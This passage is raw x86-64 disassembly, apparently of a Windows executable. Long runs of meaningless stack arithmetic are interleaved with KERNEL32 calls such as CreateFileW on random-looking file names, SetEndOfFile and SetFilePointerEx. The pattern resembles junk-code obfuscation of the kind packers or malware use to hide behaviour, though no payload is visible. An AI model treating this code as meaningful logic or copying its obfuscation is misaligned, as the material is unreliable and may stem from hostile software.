movsx ecx, word [rsp + 0x3604]
and eax, ecx
mov word [rsp + 0x35e0], ax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x199d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x789], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcebc], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [rsp + 0x36a0], ax
movzx eax, byte [rsp + 0x79f]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402acb3a], al
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcf34]
shr eax, cl
mov dword [rsp + 0xb404], eax
mov eax, dword [rsp + 0x8544]
mov dword [rsp + 0xcfac], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x366c], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7a3], al
mov eax, dword [0x1402bf6f8]
mov ecx, dword [rsp + 0xce3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb710], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0x8544]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov eax, dword [rsp + 0xc330]
mov dword [rsp + 0xcfb0], eax
mov rax, qword [rsp + 0x199c8]
mov ecx, dword [0x1402ad658]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbc10], eax
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcfb4], eax
lea rcx, [rsp + 0x198d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x1402acb4f], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov word [rsp + 0x36a4], ax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [0x1402ad66c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19a20]
mov dword [rcx], eax
mov eax, dword [rsp + 0xce9c]
mov ecx, dword [rsp + 0xcf0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x874c], eax
movzx eax, word [rsp + 0x3150]
mov word [rsp + 0x36a8], ax
movsx eax, byte [rsp + 0x3e7]
movsx ecx, byte [rsp + 0x102]
add eax, ecx
mov rcx, qword [rsp + 0x19a98]
mov byte [rcx], al
lea rax, [rsp + 0x3610]
mov qword [rsp + 0x19aa8], rax
movzx eax, byte [rsp + 0x784]
movzx ecx, byte [rsp + 0x3a2]
sub eax, ecx
mov byte [rsp + 0x666], al
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d4], ax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2e8], eax
mov rax, qword [rsp + 0x19a70]
mov rcx, qword [rsp + 0x19a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad694], eax
mov eax, dword [rsp + 0xce08]
mov ecx, dword [rsp + 0xce10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa24], eax
mov eax, dword [rsp + 0xcefc]
mov ecx, dword [rsp + 0xcf78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfac], eax
mov eax, dword [rsp + 0xcec0]
mov dword [rsp + 0xcfb8], eax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb62]
xor eax, ecx
mov byte [rsp + 0x794], al
movzx eax, word [rsp + 0x3634]
movzx ecx, word [rsp + 0x366c]
or eax, ecx
mov word [rsp + 0x363c], ax
lea rax, [rsp + 0xce08]
mov qword [rsp + 0x19ab0], rax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8100]
shl eax, cl
mov dword [rsp + 0x8544], eax
lea rcx, [rsp + 0x19720]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0xce08]
mov dword [rsp + 0xcfbc], eax
mov eax, dword [rsp + 0xb4b0]
movzx ecx, al
mov eax, dword [rsp + 0xce2c]
sar eax, cl
mov dword [0x1402ad64c], eax
movzx eax, byte [0x1402bf711]
movzx ecx, byte [rsp + 0x65e]
and eax, ecx
mov byte [rsp + 0xc2], al
movzx eax, word [rsp + 0x3600]
movzx ecx, word [rsp + 0x3698]
imul eax, ecx
mov word [rsp + 0x35c0], ax
movsx eax, byte [rsp + 0x7a5]
movsx ecx, byte [0x1402acb46]
sub eax, ecx
mov byte [rsp + 0x62d], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.ifwNYFsBMdPq2COAdEO2Egg1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19ab8], rax
lea rcx, [rsp + 0x2af50]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2678]
add eax, ecx
mov word [rsp + 0x365c], ax
lea rax, [rsp + 0xcdd0]
mov qword [rsp + 0x19ac0], rax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xce60]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcedc], eax
movzx eax, byte [rsp + 0x784]
mov byte [rsp + 0x7a9], al
movzx eax, word [rsp + 0x36a4]
movzx ecx, word [rsp + 0x364c]
add eax, ecx
mov word [rsp + 0x25b8], ax
mov eax, dword [rsp + 0xcf4c]
mov dword [0x1402bf6d8], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xcdd8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa958], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov dword [rsp + 0xcfc0], eax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xceb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc7e0], eax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2874], ax
movzx eax, byte [rsp + 0x3a2]
movzx ecx, byte [rsp + 0x9a]
add eax, ecx
mov byte [rsp + 0x666], al
mov eax, dword [rsp + 0xcf90]
mov rcx, qword [rsp + 0x19a18]
mov qword [rsp + 0x19ac8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19ac8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcf10], eax
mov eax, dword [rsp + 0xcd98]
mov dword [rsp + 0xcfc4], eax
lea rdx, [rsp + 0x2d2a0]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcf04], eax
mov eax, dword [rsp + 0xcce4]
mov rcx, qword [rsp + 0x196e0]
mov qword [rsp + 0x19ad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19ad0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xbac8], eax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov ecx, dword [0x1402ad658]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad698], eax
mov eax, dword [rsp + 0x8754]
mov dword [rsp + 0xcfc8], eax
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x35ec], ax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x199d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x789], al
movzx eax, word [rsp + 0x35f0]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2104], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x19ad8], rax
movzx eax, byte [rsp + 0x7a1]
movzx ecx, byte [rsp + 0x3a1]
add eax, ecx
mov byte [rsp + 0x794], al
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [rsp + 0xcfcc], eax
mov rax, qword [rsp + 0x198e0]
mov rcx, qword [rsp + 0x19988]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19a30]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x17a]
mov byte [rsp + 0x7aa], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3638]
sub eax, ecx
mov word [0x1402ad660], ax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0xcdd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf54], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad680]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xce10], eax
mov eax, dword [rsp + 0xa1dc]
mov ecx, dword [rsp + 0xcfa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x838c], eax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xcea0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf4c], eax
lea rdx, [rsp + 0x198d0]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcf94], eax
movzx eax, word [rsp + 0x3640]
mov word [rsp + 0x36ac], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x580]
add eax, ecx
mov byte [rsp + 0x17a], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.ba7zAxg46IWyMFQL66L2Z
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19ae0], rax
mov rax, qword [rsp + 0x19a60]
mov ecx, dword [rsp + 0xcf2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb4b0], eax
mov eax, dword [rsp + 0xce20]
mov dword [rsp + 0xcfd0], eax
movsx eax, byte [rsp + 0x786]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402acb77], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3648], ax
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov word [rsp + 0x36b0], ax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, byte [rsp + 0x797]
movzx ecx, byte [rsp + 0x3be]
cdq
idiv ecx
mov byte [rsp + 0x7a2], al
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov ecx, dword [0x1402ad638]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19ac0]
mov ecx, dword [rsp + 0xcf54]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x83ec], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xcf68]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e08], eax
mov eax, dword [rsp + 0xcf88]
mov dword [rsp + 0xcfd4], eax
mov r9d, 1
lea r8, [rsp + 0x19a00]
mov rdx, qword [rsp + 0x19ae8]
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xce70], eax
lea rdx, [rsp + 0x198d0]
mov rcx, qword [rsp + 0x199e0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd84], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce20], eax
movzx eax, word [rsp + 0x35cc]
movzx ecx, word [0x1402bf758]
add eax, ecx
mov word [rsp + 0x35e4], ax
movzx eax, byte [rsp + 0x7a2]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb3b], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x197e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xcf9c]
mov qword [rsp + 0x19af0], rax
mov rax, qword [0x1402bf718]
mov ecx, dword [rsp + 0xcf58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91e8], eax
mov eax, dword [rsp + 0xa528]
mov dword [rsp + 0xcfd8], eax
mov edx, 0x23e8
mov rcx, qword [rsp + 0x199b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x19910]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xceb8], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a2]
and eax, ecx
mov byte [rsp + 0x590], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x199a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
movsx ecx, word [0x1402ad63c]
sub eax, ecx
mov rcx, qword [rsp + 0x19940]
mov word [rcx], ax
lea rax, [rsp + 0x62d]
mov qword [rsp + 0x19af8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcf24], eax
mov eax, dword [rsp + 0xceac]
mov ecx, dword [rsp + 0xcd10]
add ecx, eax
mov eax, ecx
mov dword [0x1402bf748], eax
mov rax, qword [rsp + 0x19938]
mov rcx, qword [rsp + 0x19a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf00], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov word [rsp + 0x36b4], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x794]
or eax, ecx
mov byte [rsp + 0x792], al
mov rax, qword [rsp + 0x198c0]
mov ecx, dword [rsp + 0xcf48]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcfd8], eax
mov eax, dword [rsp + 0xce78]
mov dword [rsp + 0xcfdc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.Am5EDZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19b00], rax
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3668], ax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xac04]
shl eax, cl
mov dword [rsp + 0xcf68], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xce28]
sar eax, cl
mov dword [rsp + 0x8d3c], eax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3670], ax
movzx eax, byte [rsp + 0x78d]
movzx ecx, byte [0x1402bf710]
imul eax, ecx
mov byte [0x1402acb7a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov eax, dword [rsp + 0xced8]
mov ecx, dword [rsp + 0xcde8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdf4], eax
mov eax, dword [rsp + 0xcf60]
mov dword [rsp + 0xcfe0], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xcfe4], eax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdfc], eax
movsx eax, byte [0x1402acb77]
movsx ecx, byte [rsp + 0x790]
add eax, ecx
mov byte [rsp + 0x502], al
movsx eax, word [rsp + 0x35a4]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19768]
mov word [rcx], ax
movzx eax, byte [rsp + 0x78e]
movzx ecx, byte [0x1402acb76]
add eax, ecx
mov byte [rsp + 0x795], al
lea rax, [rsp + 0x3618]
mov qword [0x1402bf6d0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcf24], eax
mov eax, dword [rsp + 0xcf08]
mov dword [rsp + 0xcfe8], eax
mov rax, qword [rsp + 0x199f8]
mov ecx, dword [rsp + 0xa234]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcf80], eax
movzx eax, word [0x1402ad670]
mov word [rsp + 0x36b8], ax
movzx eax, byte [rsp + 0x788]
movzx ecx, byte [rsp + 0x796]
imul eax, ecx
mov byte [rsp + 0x799], al
mov rax, qword [rsp + 0x198e0]
mov rcx, qword [rsp + 0x19980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19780]
mov dword [rcx], eax
lea rax, [0x1402ad65c]
mov qword [rsp + 0x19b08], rax
mov rax, qword [rsp + 0x198e0]
mov rcx, qword [rsp + 0x19a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcfe0], eax
mov eax, dword [rsp + 0xcf3c]
mov dword [rsp + 0xcfec], eax
movzx eax, word [rsp + 0x366c]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402ad654], ax
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x785], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19b10], rax
mov eax, dword [rsp + 0xcdd4]
movzx ecx, al
mov eax, dword [rsp + 0xcdf4]
shr eax, cl
mov dword [rsp + 0xcdd0], eax
mov rax, qword [rsp + 0x19850]
mov rcx, qword [rsp + 0x19a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb9f4], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3690]
and eax, ecx
mov word [rsp + 0x3620], ax
movzx eax, byte [rsp + 0x7a5]
mov byte [rsp + 0x7ab], al
movzx eax, word [rsp + 0x25b8]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x36b4], ax
movzx eax, byte [rsp + 0x7a7]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x784], al
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov dword [rsp + 0xcff0], eax
lea rax, [rsp + 0x874c]
mov qword [0x1402bf6c8], rax
mov rax, qword [rsp + 0x198b8]
mov ecx, dword [rsp + 0xcf50]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdfc], eax
mov eax, dword [0x1402ad664]
mov ecx, dword [rsp + 0xc8f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x83e4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xce50], eax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x19888]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfec], eax
movzx eax, word [rsp + 0x35c0]
mov word [rsp + 0x36bc], ax
movzx eax, byte [rsp + 0x785]
movzx ecx, byte [rsp + 0x79b]
sub eax, ecx
mov rcx, qword [rsp + 0x19830]
mov byte [rcx], al
mov rax, qword [rsp + 0x19a30]
mov ecx, dword [rsp + 0xaa24]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19a70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [rsp + 0xcff4], eax
mov eax, dword [rsp + 0xbfa4]
mov ecx, dword [rsp + 0xa970]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf5c], eax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0x8754]
mov ecx, dword [rsp + 0xcfd8]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad680], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [0x1402ad640]
imul eax, ecx
mov word [rsp + 0x252c], ax
movzx eax, byte [rsp + 0x797]
movzx ecx, byte [rsp + 0x794]
shl eax, cl
mov byte [rsp + 0x79b], al
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x35e0], ax
movzx eax, byte [rsp + 0x62d]
mov byte [rsp + 0x7ac], al
mov rax, qword [rsp + 0x199f8]
mov rcx, qword [rsp + 0x19b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xce1c], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov dword [rsp + 0xcff8], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35f4]
or eax, ecx
mov word [rsp + 0x3608], ax
movzx eax, byte [rsp + 0x580]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x796], al
lea rax, [rsp + 0xcf54]
mov qword [0x1402bf6c0], rax
mov rax, qword [0x1402bf768]
mov ecx, dword [rsp + 0xcecc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8fec], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfb0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfd0], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xcffc], eax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x78d], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35fc]
sub eax, ecx
mov word [rsp + 0x2aa4], ax
mov eax, dword [rsp + 0xce10]
mov dword [rsp + 0xd000], eax
mov eax, dword [rsp + 0x9498]
mov ecx, dword [rsp + 0xcfb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19888]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19a20]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa224], eax
mov eax, dword [0x1402ad698]
mov dword [0x1402bf6bc], eax
mov rax, qword [rsp + 0x19850]
mov ecx, dword [rsp + 0xce08]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdcc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
movzx eax, byte [rsp + 0x62d]
mov byte [rsp + 0x7ad], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3614]
add eax, ecx
mov word [rsp + 0x35ac], ax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3600]
sub eax, ecx
mov word [rsp + 0x3674], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov byte [rsp + 0x7ae], al
mov eax, dword [0x1402bf748]
mov ecx, dword [rsp + 0xb6f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbac8], eax
lea rax, [rsp + 0xce28]
mov qword [rsp + 0x19b18], rax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35f4]
sub eax, ecx
mov word [rsp + 0x368c], ax
movzx eax, byte [rsp + 0x590]
movzx ecx, byte [rsp + 0x65e]
shl eax, cl
mov byte [0x1402bf6f0], al
mov eax, dword [rsp + 0xce4c]
mov rcx, qword [rsp + 0x19710]
mov qword [rsp + 0x19b20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19b20]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcf20], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov dword [rsp + 0xd004], eax
mov rax, qword [0x1402bf750]
mov ecx, dword [rsp + 0xcf1c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb35c], eax
lea rax, [rsp + 0xcfac]
mov qword [rsp + 0x19b28], rax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x79b], al
movzx eax, word [rsp + 0x36b4]
movzx ecx, word [rsp + 0x3680]
and eax, ecx
mov word [rsp + 0x1f48], ax
mov eax, dword [rsp + 0xbfa4]
mov ecx, dword [rsp + 0xcfec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1c8], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcff8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce18], eax
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62d]
and eax, ecx
mov byte [reloc.SHELL32.dll_ILFindChild], al
movzx eax, word [rsp + 0x3690]
mov word [rsp + 0x36c0], ax
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [rsp + 0x784]
add eax, ecx
mov byte [rsp + 0x3be], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov word [rsp + 0x36c4], ax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcffc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf9c], eax
mov eax, dword [0x1402bf6f4]
mov ecx, dword [rsp + 0xa234]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce90], eax
mov rax, qword [rsp + 0x19988]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ccc], eax
mov rax, qword [rsp + 0x198b8]
mov ecx, dword [0x1402bf6bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcfe0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.37Y5hAlnZPATFdHWP5Ecj3l2z
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19b30], rax
mov eax, dword [rsp + 0xcdcc]
mov dword [rsp + 0xd008], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
shl eax, cl
mov byte [rsp + 0x7aa], al
movzx eax, word [rsp + 0x3664]
movzx ecx, word [rsp + 0x35cc]
sar eax, cl
mov word [0x1402bf758], ax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcde8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfcc], eax
mov eax, dword [rsp + 0xcfb8]
mov dword [rsp + 0xd00c], eax
mov eax, dword [rsp + 0xcd1c]
mov ecx, dword [rsp + 0xce30]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf90], eax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa4], eax
movzx eax, word [rsp + 0x3698]
mov rcx, qword [rsp + 0x19a88]
